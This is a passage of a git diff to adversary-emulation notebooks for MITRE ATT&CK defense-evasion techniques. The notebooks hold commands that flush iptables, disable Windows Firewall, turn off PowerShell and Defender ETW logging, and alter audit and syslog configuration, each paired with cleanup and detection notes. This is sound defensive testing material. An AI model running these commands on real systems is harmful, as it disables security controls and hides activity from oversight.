installed *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2b88d501", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.004 -TestNumbers 18 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "77c3f6db", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\niptables-save > /tmp/iptables.rules\niptables -F\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "aabc6dda", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.004 -TestNumbers 18" + }, + { + "cell_type": "markdown", + "id": "21aef490", + "metadata": {}, + "source": "#### Cleanup: \n```sh\niptables-restore < /tmp/iptables.rules\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "47d5368c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.004 -TestNumbers 18 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "c3fc63e1", + "metadata": {}, + "source": "### Atomic Test #19 - Modify/delete iptables firewall rules\nInstead of completely \"disabling\" iptables, adversaries may choose to delete a certain rule, which, for example, blocks data exfiltration via ftp.\nBy doing so, they may cause less noise to avoid detection. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if iptables is installed on the machine.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v iptables)\" ]; then echo -e \"\\n***** iptables NOT installed *****\\n\"; exit 1; fi\nif ! echo \"$(iptables -L)\" | grep -q \"DROP .*dpt:ftp\"; then echo -e \"\\n***** this firewall rule is NOT activated *****\\n***** activate it by executing \\\"iptables -A OUTPUT -p tcp --dport 21 -j DROP\\\" *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "b33f8c96", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.004 -TestNumbers 19 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "4ef27880", "metadata": {}, "source": [ - "### Atomic Test #16 - LockBit Black - Unusual Windows firewall registry modification -cmd", + "#### Attack Commands: Run with `sh`\n", + "```sh\niptables-save > /tmp/iptables.rules\niptables -D OUTPUT -p tcp --dport 21 -j DROP\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c85a92a0", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.004 -TestNumbers 19" + }, + { + "cell_type": "markdown", + "id": "495c22e0", + "metadata": {}, + "source": "#### Cleanup: \n```sh\niptables-restore < /tmp/iptables.rules\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "8d2e2dce", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.004 -TestNumbers 19 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "1089f109", + "metadata": {}, + "source": [ + "### Atomic Test #20 - LockBit Black - Unusual Windows firewall registry modification -cmd", "An adversary tries to modify the windows firewall registry\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -626,31 +806,31 @@ { "cell_type": "code", "execution_count": null, - "id": "84b7a68d", + "id": "94a8c720", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.004 -TestNumbers 16" + "source": "Invoke-AtomicTest T1562.004 -TestNumbers 20" }, { "cell_type": "markdown", - "id": "f8824378", + "id": "0be7e2f3", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\DomainProfile\" /v EnableFirewall /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile\" /v EnableFirewall /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "fe8de49f", + "id": "fc4ac9fc", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.004 -TestNumbers 16 -Cleanup" + "source": "Invoke-AtomicTest T1562.004 -TestNumbers 20 -Cleanup" }, { "cell_type": "markdown", - "id": "e71512e4", + "id": "d364babb", "metadata": {}, "source": [ - "### Atomic Test #17 - LockBit Black - Unusual Windows firewall registry modification -Powershell", + "### Atomic Test #21 - LockBit Black - Unusual Windows firewall registry modification -Powershell", "An adversary tries to modify the windows firewall registry.\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -661,31 +841,31 @@ { "cell_type": "code", "execution_count": null, - "id": "842e756c", + "id": "48cc4ccf", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.004 -TestNumbers 17" + "source": "Invoke-AtomicTest T1562.004 -TestNumbers 21" }, { "cell_type": "markdown", - "id": "2a1feb55", + "id": "873bdda7", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\DomainProfile\" -Name EnableFirewall -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile\" -Name EnableFirewall -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3d523e68", + "id": "c3113a93", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.004 -TestNumbers 17 -Cleanup" + "source": "Invoke-AtomicTest T1562.004 -TestNumbers 21 -Cleanup" }, { "cell_type": "markdown", - "id": "69c78104", + "id": "70324c73", "metadata": {}, "source": [ - "### Atomic Test #18 - Blackbit - Disable Windows Firewall using netsh firewall", + "### Atomic Test #22 - Blackbit - Disable Windows Firewall using netsh firewall", "An adversary tries to modify the windows firewall configuration using the deprecated netsh firewall command (command still works). \n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -696,28 +876,28 @@ { "cell_type": "code", "execution_count": null, - "id": "08afd293", + "id": "33534e12", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.004 -TestNumbers 18" + "source": "Invoke-AtomicTest T1562.004 -TestNumbers 22" }, { "cell_type": "markdown", - "id": "450fdbaa", + "id": "e80d9447", "metadata": {}, "source": "#### Cleanup: \n```cmd\nnetsh firewall set opmode mode=enable >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "aa2975bb", + "id": "a3e9a2d2", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.004 -TestNumbers 18 -Cleanup" + "source": "Invoke-AtomicTest T1562.004 -TestNumbers 22 -Cleanup" }, { "cell_type": "markdown", - "id": "4a8d80d4", + "id": "6f35bb93", "metadata": {}, "source": "## Detection\nMonitor processes and command-line arguments to see if firewalls are disabled or modified. Monitor Registry edits to keys that manage firewalls." } @@ -725,13 +905,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1562.006.ipynb b/playbook/tactics/defense-evasion/T1562.006.ipynb index d3f76d09..2c2f2dde 100644 --- a/playbook/tactics/defense-evasion/T1562.006.ipynb +++ b/playbook/tactics/defense-evasion/T1562.006.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "34f0942f", + "id": "9c3d1e0e", "metadata": {}, - "source": "# T1562.006 - Indicator Blocking\nAn adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) Set-EtwTraceProvider cmdlet or by interfacing directly with the Registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.\n\nIn Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors (Citation: LemonDuck)." + "source": "# T1562.006 - Indicator Blocking\nAn adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About Event Tracing 2018), by tampering settings that control the collection and flow of event telemetry.(Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nFor example, adversaries may modify the `File` value in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog\\Security to hide their malicious actions in a new or different .evtx log file. This action does not require a system reboot and takes effect immediately.(Citation: disable_win_evt_logging) \n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) Set-EtwTraceProvider cmdlet or by interfacing directly with the Registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.\n\nIn Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors (Citation: LemonDuck)." }, { "cell_type": "markdown", - "id": "07297cbf", + "id": "90add639", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "999c0814", + "id": "44e38aa9", "metadata": {}, "source": [ "### Atomic Test #1 - Auditing Configuration Changes on Linux Host", @@ -28,31 +28,66 @@ { "cell_type": "code", "execution_count": null, - "id": "e649ece3", + "id": "bc3f6a4e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.006 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "1033457a", + "id": "5d3fce88", "metadata": {}, "source": "#### Cleanup: \n```bash\nsed -i '$ d' /etc/audisp/audispd.conf\nif [ -f \"/etc/auditd.conf\" ];\nthen sed -i '$ d' /etc/auditd.conf\nelse sed -i '$ d' /etc/audit/auditd.conf\nfi\nsed -i '$ d' /etc/libaudit.conf\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f940c282", + "id": "e350cd54", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.006 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "7a312ca1", + "id": "f94ec6cd", "metadata": {}, "source": [ - "### Atomic Test #2 - Logging Configuration Changes on Linux Host", + "### Atomic Test #2 - Auditing Configuration Changes on FreeBSD Host", + "Emulates modification of auditd configuration files\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\necho '#art_test_1562_006_1' >> /etc/security/audit_event\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "6553d8e9", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.006 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "2a0da23f", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nsed -i \"\" '/#art_test_1562_006_1/d' /etc/security/audit_event\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c6ccb162", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.006 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "b757670d", + "metadata": {}, + "source": [ + "### Atomic Test #3 - Logging Configuration Changes on Linux Host", "Emulates modification of syslog configuration.\n", "**Supported Platforms:** linux", "\nElevation Required (e.g. root or admin)", @@ -63,76 +98,111 @@ { "cell_type": "code", "execution_count": null, - "id": "ccbf3519", + "id": "8a2a9c28", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.006 -TestNumbers 2" + "source": "Invoke-AtomicTest T1562.006 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "6bc8e6fd", + "id": "611fe885", "metadata": {}, "source": "#### Cleanup: \n```bash\nif [ -f \"/etc/syslog.conf\" ];\nthen sed -i '$ d' /etc/syslog.conf\nfi\nif [ -f \"/etc/rsyslog.conf\" ];\nthen sed -i '$ d' /etc/rsyslog.conf\nfi\nif [ -f \"/etc/syslog-ng/syslog-ng.conf\" ];\nthen sed -i '$ d' /etc/syslog-ng/syslog-ng.conf\nfi\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3a4899a0", + "id": "817307ae", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.006 -TestNumbers 2 -Cleanup" + "source": "Invoke-AtomicTest T1562.006 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "35506fe1", + "metadata": {}, + "source": [ + "### Atomic Test #4 - Logging Configuration Changes on FreeBSD Host", + "Emulates modification of syslog configuration.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nif [ -f \"/etc/syslog.conf\" ];\nthen echo '#art_test_1562_006_2' >> /etc/syslog.conf\nfi\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1b6a3425", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.006 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "8837963b", + "id": "12d80211", "metadata": {}, - "source": "### Atomic Test #3 - Disable Powershell ETW Provider - Windows\nThis test was created to disable the Microsoft Powershell ETW provider by using the built-in Windows tool, logman.exe. This provider is used as a common source of telemetry in AV/EDR solutions.\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: PSExec must be installed on the machine.\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"$env:temp\\pstools\\PsExec.exe\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nstart-bitstransfer -source \"https://download.sysinternals.com/files/PSTools.zip\" -destination \"$env:temp\\PStools.zip\"\nexpand-archive -literalpath \"$env:temp\\PStools.zip\" -destinationpath \"$env:temp\\pstools\" -force\n```" + "source": "#### Cleanup: \n```sh\nif [ -f \"/etc/syslog.conf\" ];\nthen sed -i \"\" '/#art_test_1562_006_2/d' /etc/syslog.conf\nfi\n```" }, { "cell_type": "code", "execution_count": null, - "id": "626b9f3a", + "id": "777f8644", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.006 -TestNumbers 3 -GetPreReqs" + "source": "Invoke-AtomicTest T1562.006 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "a09f3ef6", + "id": "eb8a96af", + "metadata": {}, + "source": "### Atomic Test #5 - Disable Powershell ETW Provider - Windows\nThis test was created to disable the Microsoft Powershell ETW provider by using the built-in Windows tool, logman.exe. This provider is used as a common source of telemetry in AV/EDR solutions.\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: PSExec must be installed on the machine.\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\pstools\\PsExec.exe\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\PStools.zip\"\nexpand-archive -literalpath \"PathToAtomicsFolder\\..\\ExternalPayloads\\PStools.zip\" -destinationpath \"PathToAtomicsFolder\\..\\ExternalPayloads\\pstools\" -force\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "47b8de88", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.006 -TestNumbers 5 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "d7fc5219", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\ncmd /c \"$env:temp\\pstools\\PsExec.exe\" -accepteula -i -s cmd.exe /c logman update trace \"EventLog-Application\" --p \"Microsoft-Windows-Powershell\" -ets```" + "```powershell\ncmd /c \"PathToAtomicsFolder\\..\\ExternalPayloads\\pstools\\PsExec.exe\" -accepteula -i -s cmd.exe /c logman update trace \"EventLog-Application\" --p \"Microsoft-Windows-Powershell\" -ets```" ] }, { "cell_type": "code", "execution_count": null, - "id": "24af9ab8", + "id": "8311071d", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.006 -TestNumbers 3" + "source": "Invoke-AtomicTest T1562.006 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "c1b1931d", + "id": "ab268ff4", "metadata": {}, - "source": "#### Cleanup: \n```powershell\ncmd /c \"$env:temp\\pstools\\PsExec.exe\" -i -s cmd.exe /c logman update trace \"EventLog-Application\" -p \"Microsoft-Windows-Powershell\" -ets```" + "source": "#### Cleanup: \n```powershell\ncmd /c \"PathToAtomicsFolder\\..\\ExternalPayloads\\pstools\\PsExec.exe\" -i -s cmd.exe /c logman update trace \"EventLog-Application\" -p \"Microsoft-Windows-Powershell\" -ets```" }, { "cell_type": "code", "execution_count": null, - "id": "a61ca10a", + "id": "08bdbd2d", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.006 -TestNumbers 3 -Cleanup" + "source": "Invoke-AtomicTest T1562.006 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "c40c4315", + "id": "a46220e8", "metadata": {}, "source": [ - "### Atomic Test #4 - Disable .NET Event Tracing for Windows Via Registry (cmd)", + "### Atomic Test #6 - Disable .NET Event Tracing for Windows Via Registry (cmd)", "Disables ETW for the .NET Framework using the reg.exe utility to update the Windows registry", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -143,31 +213,31 @@ { "cell_type": "code", "execution_count": null, - "id": "3ee95c65", + "id": "e6bf6d8d", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.006 -TestNumbers 4" + "source": "Invoke-AtomicTest T1562.006 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "497fa163", + "id": "b3193304", "metadata": {}, "source": "#### Cleanup: \n```cmd\nREG DELETE HKLM\\Software\\Microsoft\\.NETFramework /v ETWEnabled /f > nul 2>&1```" }, { "cell_type": "code", "execution_count": null, - "id": "26b9b4fd", + "id": "15cb97b8", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.006 -TestNumbers 4 -Cleanup" + "source": "Invoke-AtomicTest T1562.006 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "b0e8877b", + "id": "c9e8f4e5", "metadata": {}, "source": [ - "### Atomic Test #5 - Disable .NET Event Tracing for Windows Via Registry (powershell)", + "### Atomic Test #7 - Disable .NET Event Tracing for Windows Via Registry (powershell)", "Disables ETW for the .NET Framework using PowerShell to update the Windows registry", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -178,98 +248,98 @@ { "cell_type": "code", "execution_count": null, - "id": "bd2a6efe", + "id": "965a4fb2", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.006 -TestNumbers 5" + "source": "Invoke-AtomicTest T1562.006 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "5b16dc33", + "id": "882c20f3", "metadata": {}, "source": "#### Cleanup: \n```powershell\nREG DELETE HKLM\\Software\\Microsoft\\.NETFramework /v ETWEnabled /f > $null 2>&1```" }, { "cell_type": "code", "execution_count": null, - "id": "51e9c86f", + "id": "33cdab59", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.006 -TestNumbers 5 -Cleanup" + "source": "Invoke-AtomicTest T1562.006 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "77c7cf67", + "id": "46b7c10a", "metadata": {}, "source": [ - "### Atomic Test #6 - LockBit Black - Disable the ETW Provider of Windows Defender -cmd", - "An adversary can disable the ETW Provider of Windows Defender,\nso nothing would be logged to Microsoft-Windows-Windows-Defender/Operational anymore.\n", + "### Atomic Test #8 - LockBit Black - Disable the ETW Provider of Windows Defender -cmd", + "An adversary can disable the ETW Provider of Windows Defender,\nso nothing would be logged to Microsoft-Windows-Windows-Defender/Operational anymore.\nhttps://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nreg add \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Channels\\Microsoft-Windows-Windows Defender\" /v Operational /t REG_DWORD /d 0 /f\n```" + "```command_prompt\nreg add \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Channels\\Microsoft-Windows-Windows Defender/Operational\" /v Enabled /t REG_DWORD /d 0 /f\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "033877be", + "id": "6a4238f5", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.006 -TestNumbers 6" + "source": "Invoke-AtomicTest T1562.006 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "693ad380", + "id": "040f2c8b", "metadata": {}, - "source": "#### Cleanup: \n```cmd\nreg delete \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Channels\\Microsoft-Windows-Windows Defender\" /v Operational /f >nul 2>&1\n```" + "source": "#### Cleanup: \n```cmd\nreg delete \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Channels\\Microsoft-Windows-Windows Defender/Operational\" /v Enabled /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1c6b4ad7", + "id": "558e488d", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.006 -TestNumbers 6 -Cleanup" + "source": "Invoke-AtomicTest T1562.006 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "e766fad5", + "id": "a3a41b03", "metadata": {}, "source": [ - "### Atomic Test #7 - LockBit Black - Disable the ETW Provider of Windows Defender -Powershell", - "An adversary can disable the ETW Provider of Windows Defender,\nso nothing would be logged to Microsoft-Windows-Windows-Defender/Operational anymore.\n", + "### Atomic Test #9 - LockBit Black - Disable the ETW Provider of Windows Defender -Powershell", + "An adversary can disable the ETW Provider of Windows Defender,\nso nothing would be logged to Microsoft-Windows-Windows-Defender/Operational anymore.\nhttps://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nNew-ItemProperty \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Channels\\Microsoft-Windows-Windows Defender\" -Name Operational -PropertyType DWord -Value 0 -Force\n```" + "```powershell\nNew-ItemProperty \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Channels\\Microsoft-Windows-Windows Defender/Operational\" -Name Enabled -PropertyType DWord -Value 0 -Force\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "e3dfe114", + "id": "3f9dc7ba", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.006 -TestNumbers 7" + "source": "Invoke-AtomicTest T1562.006 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "4a63adec", + "id": "bd374c6c", "metadata": {}, - "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Channels\\Microsoft-Windows-Windows Defender\" -Name Operational -Force -ErrorAction Ignore\n```" + "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Channels\\Microsoft-Windows-Windows Defender/Operational\" -Name Enabled -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7bf9b876", + "id": "37fe3dae", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.006 -TestNumbers 7 -Cleanup" + "source": "Invoke-AtomicTest T1562.006 -TestNumbers 9 -Cleanup" }, { "cell_type": "markdown", - "id": "1fe7a881", + "id": "15c73262", "metadata": {}, "source": "## Detection\nDetect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\AUTOLOGGER_NAME\\{PROVIDER_GUID}" } @@ -277,13 +347,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1562.007.ipynb b/playbook/tactics/defense-evasion/T1562.007.ipynb index c0144287..dfb24e27 100644 --- a/playbook/tactics/defense-evasion/T1562.007.ipynb +++ b/playbook/tactics/defense-evasion/T1562.007.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "e37b0751", + "id": "3a771d00", "metadata": {}, - "source": "# T1562.007 - Disable or Modify Cloud Firewall\nAdversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). \n\nCloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity.(Citation: Expel IO Evil in AWS)\n\nModifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed." + "source": "# T1562.007 - Disable or Modify Cloud Firewall\nAdversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). \n\nCloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity, or remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\n\nModifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed." }, { "cell_type": "markdown", - "id": "c7799b24", + "id": "6760e21e", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "fff02cb4", + "id": "ed5c16fe", "metadata": {}, "source": "## Detection\nMonitor cloud logs for modification or creation of new security groups or firewall rules." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1562.008.ipynb b/playbook/tactics/defense-evasion/T1562.008.ipynb index b021dd6a..453d9fef 100644 --- a/playbook/tactics/defense-evasion/T1562.008.ipynb +++ b/playbook/tactics/defense-evasion/T1562.008.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "38dfc038", + "id": "455769a1", "metadata": {}, - "source": "# T1562.008 - Disable Cloud Logs\nAn adversary may disable cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. \n\nCloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic)" + "source": "# T1562.008 - Disable or Modify Cloud Logs\nAn adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities.\n\nFor example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic) They may alternatively tamper with logging functionality \u2013 for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate 